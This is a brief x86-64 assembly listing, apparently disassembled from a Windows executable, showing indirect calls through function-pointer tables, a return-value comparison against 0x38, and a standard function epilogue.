mov r8d, esi
mov rcx, r14
call rdi
mov edx, esi
mov rcx, rbx
call qword [rbx + 0x40]
mov rcx, qword [r15 + 0xa0]
mov r8, r14
mov rdx, rbp
call qword [r15 + 0x48]
mov rax, qword [rbx + 0x30]
mov rcx, rbx
call rax
cmp eax, 0x38
jae 0x1400071f0
xor eax, eax
mov rbx, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov eax, 0xffffffff
jmp 0x140007333